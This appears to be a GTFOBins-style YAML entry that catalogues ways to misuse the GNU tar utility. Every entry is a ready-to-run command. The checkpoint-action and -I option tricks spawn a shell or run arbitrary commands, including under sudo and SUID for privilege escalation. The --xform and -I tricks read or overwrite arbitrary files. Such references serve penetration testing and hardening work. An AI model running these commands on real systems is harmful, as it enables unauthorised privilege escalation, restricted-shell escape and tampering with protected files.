---
functions:
  execute-interactive:
  - code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
  execute-non-interactive:
  - description: This only works for GNU tar.
    code: tar xf /dev/null -I '/bin/sh -c "id 1>&2"'
  file-write:
  - description: This only works for GNU tar.
    code: |
      LFILE=file_to_write
      TF=$(mktemp)
      echo data > "$TF"
      tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
  file-read:
  - description: This only works for GNU tar.
    code: |
      LFILE=file_to_read
      tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
  sudo-enabled:
  - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
  suid-limited:
  - code: "./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh"
---